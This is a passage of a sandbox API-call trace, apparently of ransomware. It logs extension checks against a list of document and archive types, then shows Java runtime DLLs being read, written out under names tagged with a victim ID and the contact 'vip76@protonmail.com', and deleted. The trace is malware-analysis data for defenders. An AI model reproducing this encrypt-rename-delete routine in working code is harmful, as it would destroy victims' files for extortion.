	[0083.392] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.392] lstrlenW (lpString=".1cd") returned 4
	[0083.392] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1
	[0083.392] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.392] lstrlenW (lpString=".jpg") returned 4
	[0083.392] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1
	[0083.392] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.392] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.392] lstrlenW (lpString=".doc") returned 4
	[0083.392] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1
	[0083.392] lstrlenW (lpString=".docx") returned 5
	[0083.392] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1
	[0083.392] lstrlenW (lpString=".pdf") returned 4
	[0083.392] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1
	[0083.392] lstrlenW (lpString=".xls") returned 4
	[0083.392] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1
	[0083.392] lstrlenW (lpString=".xlsx") returned 5
	[0083.392] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1
	[0083.392] lstrlenW (lpString=".ppt") returned 4
	[0083.392] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.393] lstrlenW (lpString=".zip") returned 4
	[0083.393] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1
	[0083.393] lstrlenW (lpString=".rar") returned 4
	[0083.393] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1
	[0083.393] lstrlenW (lpString=".bz2") returned 4
	[0083.393] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1
	[0083.393] lstrlenW (lpString=".7z") returned 3
	[0083.393] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.393] lstrlenW (lpString=".dbf") returned 4
	[0083.393] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.393] lstrlenW (lpString=".1cd") returned 4
	[0083.393] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0083.393] lstrlenW (lpString=".jpg") returned 4
	[0083.393] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1
	[0083.393] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.393] lstrlenW (lpString="bci.dll") returned 7
	[0083.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.393] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=16960) returned 1
	[0083.394] CloseHandle (hObject=0x390) returned 1
	[0083.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20
	[0083.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.394] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.394] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.394] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.394] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.394] GetLastError () returned 0x0
	[0083.394] ReadFile (in: hFile=0x390, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x4240, lpOverlapped=0x0) returned 1
	[0083.396] WriteFile (in: hFile=0x34c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4250, lpOverlapped=0x0) returned 1
	[0083.397] ReadFile (in: hFile=0x390, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.397] WriteFile (in: hFile=0x34c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0083.397] SetEndOfFile (hFile=0x34c) returned 1
	[0083.398] CloseHandle (hObject=0x34c) returned 1
	[0083.398] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.398] SetEndOfFile (hFile=0x390) returned 1
	[0083.399] CloseHandle (hObject=0x390) returned 1
	[0083.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.399] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1
	[0083.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.399] lstrlenW (lpString=".doc") returned 4
	[0083.399] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.399] lstrlenW (lpString=".docx") returned 5
	[0083.399] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0083.399] lstrlenW (lpString=".pdf") returned 4
	[0083.399] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.399] lstrlenW (lpString=".xls") returned 4
	[0083.399] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.399] lstrlenW (lpString=".xlsx") returned 5
	[0083.399] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0083.399] lstrlenW (lpString=".ppt") returned 4
	[0083.399] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.399] lstrlenW (lpString=".zip") returned 4
	[0083.400] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.400] lstrlenW (lpString=".rar") returned 4
	[0083.400] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.400] lstrlenW (lpString=".bz2") returned 4
	[0083.400] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.400] lstrlenW (lpString=".7z") returned 3
	[0083.400] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.400] lstrlenW (lpString=".dbf") returned 4
	[0083.400] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.400] lstrlenW (lpString=".1cd") returned 4
	[0083.400] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.400] lstrlenW (lpString=".jpg") returned 4
	[0083.400] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.400] lstrlenW (lpString=".doc") returned 4
	[0083.400] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.400] lstrlenW (lpString=".docx") returned 5
	[0083.400] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0083.400] lstrlenW (lpString=".pdf") returned 4
	[0083.400] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.400] lstrlenW (lpString=".xls") returned 4
	[0083.400] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.400] lstrlenW (lpString=".xlsx") returned 5
	[0083.400] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0083.400] lstrlenW (lpString=".ppt") returned 4
	[0083.400] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.400] lstrlenW (lpString=".zip") returned 4
	[0083.400] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.401] lstrlenW (lpString=".rar") returned 4
	[0083.401] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.401] lstrlenW (lpString=".bz2") returned 4
	[0083.401] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.401] lstrlenW (lpString=".7z") returned 3
	[0083.401] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.401] lstrlenW (lpString=".dbf") returned 4
	[0083.401] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.401] lstrlenW (lpString=".1cd") returned 4
	[0083.401] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0083.401] lstrlenW (lpString=".jpg") returned 4
	[0083.401] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.401] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.401] lstrlenW (lpString="dcpr.dll") returned 8
	[0083.401] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.401] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=159808) returned 1
	[0083.401] CloseHandle (hObject=0x390) returned 1
	[0083.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20
	[0083.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.402] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.402] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.402] GetLastError () returned 0x0
	[0083.402] ReadFile (in: hFile=0x390, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x27040, lpOverlapped=0x0) returned 1
	[0083.952] WriteFile (in: hFile=0x34c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x27050, lpOverlapped=0x0) returned 1
	[0083.955] ReadFile (in: hFile=0x390, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.955] WriteFile (in: hFile=0x34c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0083.955] SetEndOfFile (hFile=0x34c) returned 1
	[0083.956] CloseHandle (hObject=0x34c) returned 1
	[0083.956] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.956] SetEndOfFile (hFile=0x390) returned 1
	[0083.957] CloseHandle (hObject=0x390) returned 1
	[0083.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.958] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1
	[0083.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.958] lstrlenW (lpString=".doc") returned 4
	[0083.958] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.958] lstrlenW (lpString=".docx") returned 5
	[0083.958] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0083.958] lstrlenW (lpString=".pdf") returned 4
	[0083.958] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.958] lstrlenW (lpString=".xls") returned 4
	[0083.958] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.958] lstrlenW (lpString=".xlsx") returned 5
	[0083.958] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0083.958] lstrlenW (lpString=".ppt") returned 4
	[0083.958] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.958] lstrlenW (lpString=".zip") returned 4
	[0083.958] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.958] lstrlenW (lpString=".rar") returned 4
	[0083.958] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.959] lstrlenW (lpString=".bz2") returned 4
	[0083.959] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.959] lstrlenW (lpString=".7z") returned 3
	[0083.959] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.959] lstrlenW (lpString=".dbf") returned 4
	[0083.959] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.959] lstrlenW (lpString=".1cd") returned 4
	[0083.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.959] lstrlenW (lpString=".jpg") returned 4
	[0083.959] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.959] lstrlenW (lpString=".doc") returned 4
	[0083.959] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.959] lstrlenW (lpString=".docx") returned 5
	[0083.959] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0083.959] lstrlenW (lpString=".pdf") returned 4
	[0083.959] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.959] lstrlenW (lpString=".xls") returned 4
	[0083.959] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.959] lstrlenW (lpString=".xlsx") returned 5
	[0083.959] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0083.959] lstrlenW (lpString=".ppt") returned 4
	[0083.959] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.959] lstrlenW (lpString=".zip") returned 4
	[0083.959] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.959] lstrlenW (lpString=".rar") returned 4
	[0083.959] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.960] lstrlenW (lpString=".bz2") returned 4
	[0083.960] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.960] lstrlenW (lpString=".7z") returned 3
	[0083.960] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.960] lstrlenW (lpString=".dbf") returned 4
	[0083.960] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.960] lstrlenW (lpString=".1cd") returned 4
	[0083.960] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0083.960] lstrlenW (lpString=".jpg") returned 4
	[0083.960] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.960] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0083.960] lstrlenW (lpString="npdeployJava1.dll") returned 17
	[0083.960] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.960] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1156672) returned 1
	[0083.961] CloseHandle (hObject=0x390) returned 1
	[0083.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20
	[0083.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.961] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.961] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.961] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.961] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0083.961] GetLastError () returned 0x0
	[0083.961] ReadFile (in: hFile=0x390, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0083.984] WriteFile (in: hFile=0x34c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.613] ReadFile (in: hFile=0x390, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x1a650, lpOverlapped=0x0) returned 1
	[0084.623] WriteFile (in: hFile=0x34c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x1a660, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1a660, lpOverlapped=0x0) returned 1
	[0084.628] ReadFile (in: hFile=0x390, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.628] WriteFile (in: hFile=0x34c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0084.628] SetEndOfFile (hFile=0x34c) returned 1
	[0084.629] CloseHandle (hObject=0x34c) returned 1
	[0084.629] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.629] SetEndOfFile (hFile=0x390) returned 1
	[0084.630] CloseHandle (hObject=0x390) returned 1
	[0084.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0084.630] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1
	[0084.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.631] lstrlenW (lpString=".doc") returned 4
	[0084.631] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.631] lstrlenW (lpString=".docx") returned 5
	[0084.631] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0084.631] lstrlenW (lpString=".pdf") returned 4
	[0084.631] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.631] lstrlenW (lpString=".xls") returned 4
	[0084.631] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.631] lstrlenW (lpString=".xlsx") returned 5
	[0084.631] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0084.631] lstrlenW (lpString=".ppt") returned 4
	[0084.631] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.631] lstrlenW (lpString=".zip") returned 4
	[0084.631] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.631] lstrlenW (lpString=".rar") returned 4
	[0084.631] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.631] lstrlenW (lpString=".bz2") returned 4
	[0084.631] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.631] lstrlenW (lpString=".7z") returned 3
	[0084.631] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.631] lstrlenW (lpString=".dbf") returned 4
	[0084.631] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.632] lstrlenW (lpString=".1cd") returned 4
	[0084.632] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0084.632] lstrlenW (lpString=".jpg") returned 4
	[0084.632] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
